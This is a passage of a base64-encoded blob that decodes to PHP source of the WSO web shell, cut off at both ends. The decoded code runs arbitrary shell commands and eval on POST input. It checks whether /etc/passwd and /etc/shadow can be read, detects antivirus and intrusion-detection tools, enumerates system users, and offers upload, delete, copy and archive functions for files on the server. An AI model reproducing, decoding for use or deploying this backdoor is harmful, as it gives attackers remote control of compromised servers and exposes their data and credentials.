dGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KCQlAZXhlYygkaW4sJG91dCk7DQoJCSRvdXQgPSBAam9pbigiXG4iLCRvdXQpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCgkJb2Jfc3RhcnQoKTsNCgkJQHBhc3N0aHJ1KCRpbik7DQoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAc3lzdGVtKCRpbik7DQoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCgkJJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsNCgl9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikpKSB7DQoJCSRvdXQgPSAiIjsNCgkJd2hpbGUoIUBmZW9mKCRmKSkNCgkJCSRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7DQoJCXBjbG9zZSgkZik7DQoJfQ0KCXJldHVybiAkb3V0Ow0KfQ0KDQpmdW5jdGlvbiB3c29WaWV3U2l6ZSgkcykgew0KCWlmKCRzID49IDEwNzM3NDE4MjQpDQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsNCgllbHNlaWYoJHMgPj0gMTA0ODU3NikNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsNCgllbHNlaWYoJHMgPj0gMTAyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0ICkgLiAnIEtCJzsNCgllbHNlDQoJCXJldHVybiAkcyAuICcgQic7DQp9DQoNCmZ1bmN0aW9uIHdzb1Blcm1zKCRwKSB7DQoJaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOw0KCWVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7DQoJZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCgllbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOw0KCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7DQoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCgllbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOw0KCWVsc2UgJGkgPSAndSc7DQoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoJcmV0dXJuICRpOw0KfQ0KDQpmdW5jdGlvbiB3c29QZXJtc0NvbG9yKCRmKSB7DQoJaWYgKCFAaXNfcmVhZGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCgllbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPXdoaXRlPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQoJZWxzZQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCn0NCg0KZnVuY3Rpb24gd3NvU2NhbmRpcigkZGlyKSB7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsNCiAgICAgICAgcmV0dXJuIHNjYW5kaXIoJGRpcik7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJGRoICA9IG9wZW5kaXIoJGRpcik7DQogICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpDQogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsNCiAgICAgICAgcmV0dXJuICRmaWxlczsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHdzb1doaWNoKCRwKSB7DQoJJHBhdGggPSB3c29FeCgnd2hpY2ggJyAuICRwKTsNCglpZighZW1wdHkoJHBhdGgpKQ0KCQlyZXR1cm4gJHBhdGg7DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgew0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5zRXJ2RXIgU2VDdVJpVHkgaU5mMHJNYVRpMG48L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWZ1bmN0aW9uIHdzb1NlY1BhcmFtKCRuLCAkdikgew0KCQkkdiA9IHRyaW0oJHYpOw0KCQlpZigkdikgew0KCQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7DQoJCQlpZihzdHJwb3MoJHYsICJcbiIpID09PSBmYWxzZSkNCgkJCQllY2hvICR2IC4gJzxicj4nOw0KCQkJZWxzZQ0KCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicgLiAkdiAuICc8L3ByZT4nOw0KCQl9DQoJfQ0KDQoJd3NvU2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQ0KICAgICAgICB3c29TZWNQYXJhbSgnTG9hZGVkIEFwYWNoZSBtb2R1bGVzJywgaW1wbG9kZSgnLCAnLCBhcGFjaGVfZ2V0X21vZHVsZXMoKSkpOw0KCXdzb1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsNCgl3c29TZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7DQoJd3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7DQoJd3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7DQoJd3NvU2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOw0KCSR0ZW1wPWFycmF5KCk7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkNCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiTVNTUUwiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIlBvc3RncmVTUUwiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJPcmFjbGUiOw0KCXdzb1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOw0KCWVjaG8gJzxicj4nOw0KDQoJaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcpIHsNCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19yZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iOidubycpOw0KICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiI6J25vJyk7DQogICAgICAgICAgICB3c29TZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsNCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsNCiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsNCiAgICAgICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsNCiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsNCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQ0KICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07DQogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8YnIvPic7DQogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hERCBzcGFjZScsIHdzb0V4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7DQogICAgICAgICAgICAgICAgZWNobyAnPGJyLz48c3Bhbj5wb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPmZSMG08L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+dDA8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0ICgkX1BPU1RbJ3AyJ10sICRfUE9TVFsncDMnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3AyJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMyddKSkgew0KICAgICAgICAgICAgICAgICAgICAkdGVtcCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICBmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdWlkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wIC49IGpvaW4oJzonLCR1aWQpLiJcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOw0KICAgICAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnVXNlcnMnLCAkdGVtcCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCX0gZWxzZSB7DQoJCXdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOw0KCQl3c29TZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsd3NvRXgoJ25ldCBhY2NvdW50cycpKTsNCgkJd3NvU2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLHdzb0V4KCduZXQgdXNlcicpKTsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uUGhwKCkgew0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIHRydWUpOw0KCQlvYl9zdGFydCgpOw0KCQlldmFsKCRfUE9TVFsncDEnXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCAwKTsNCg0KCXdzb0hlYWRlcigpOw0KCWlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7DQoJCWVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAwMDt9PC9zdHlsZT4nOw0KCQlvYl9zdGFydCgpOw0KCQlwaHBpbmZvKCk7DQoJCSR0bXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZShhcnJheSAoDQogICAgICAgICAgICAnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLA0KICAgICAgICAgICAgJyF0ZCwgdGggeyguKil9IW1zaVUnLA0KICAgICAgICAgICAgJyE8aW1nW14+XSs+IW1zaVUnLA0KICAgICAgICApLCBhcnJheSAoDQogICAgICAgICAgICAnJywNCiAgICAgICAgICAgICcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywNCiAgICAgICAgICAgICcnDQogICAgICAgICksICR0bXApOw0KCQllY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOw0KCX0NCiAgICBlY2hvICc8aDE+RXhFY1V0aTBuIFBIUC1jMGRFPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EoXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsNCgllY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCgl9DQoJZWNobyAnPC9wcmU+PC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7DQogICAgaWYgKCFlbXB0eSAoJF9DT09LSUVbJ2YnXSkpDQogICAgICAgICRfQ09PS0lFWydmJ10gPSBAdW5zZXJpYWxpemUoJF9DT09LSUVbJ2YnXSk7DQogICAgDQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQkJY2FzZSAndXBsb2FkRmlsZSc6DQoJCQkJaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpDQoJCQkJCWVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdta2Rpcic6DQoJCQkJaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKQ0KCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7DQoJCQkJYnJlYWs7DQoJCQljYXNlICdkZWxldGUnOg0KCQkJCWZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgew0KCQkJCQkkcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOw0KCQkJCQkkZGggID0gb3BlbmRpcigkcGF0aCk7DQoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7DQoJCQkJCQkkaXRlbSA9ICRwYXRoLiRpdGVtOw0KCQkJCQkJaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApDQoJCQkJCQkJY29udGludWU7DQoJCQkJCQkkdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsNCgkJCQkJCWlmICgkdHlwZSA9PSAiZGlyIikNCgkJCQkJCQlkZWxldGVEaXIoJGl0ZW0pOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1bmxpbmsoJGl0ZW0pOw0KCQkJCQl9DQoJCQkJCWNsb3NlZGlyKCRkaCk7DQoJCQkJCUBybWRpcigkcGF0aCk7DQoJCQkJfQ0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJCWZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQoJCQkJCQkkZiA9IHVybGRlY29kZSgkZik7DQoJCQkJCQlpZihpc19kaXIoJGYpKQ0KCQkJCQkJCWRlbGV0ZURpcigkZik7DQoJCQkJCQllbHNlDQoJCQkJCQkJQHVubGluaygkZik7DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCWNhc2UgJ3Bhc3RlJzoNCgkJCQlpZigkX0NPT0tJRVsnYWN0J10gPT0gJ2NvcHknKSB7DQoJCQkJCWZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpew0KCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7DQoJCQkJCQkJbWtkaXIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQG9wZW5kaXIoJGMuJHMpOw0KCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKQ0KCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQ0KCQkJCQkJY29weV9wYXN0ZSgkX0NPT0tJRVsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnbW92ZScpIHsNCgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQ0KCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQ0KCQkJCQkJQHJlbmFtZSgkX0NPT0tJRVsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9DT09LSUVbJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKEBpc19kaXIoJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT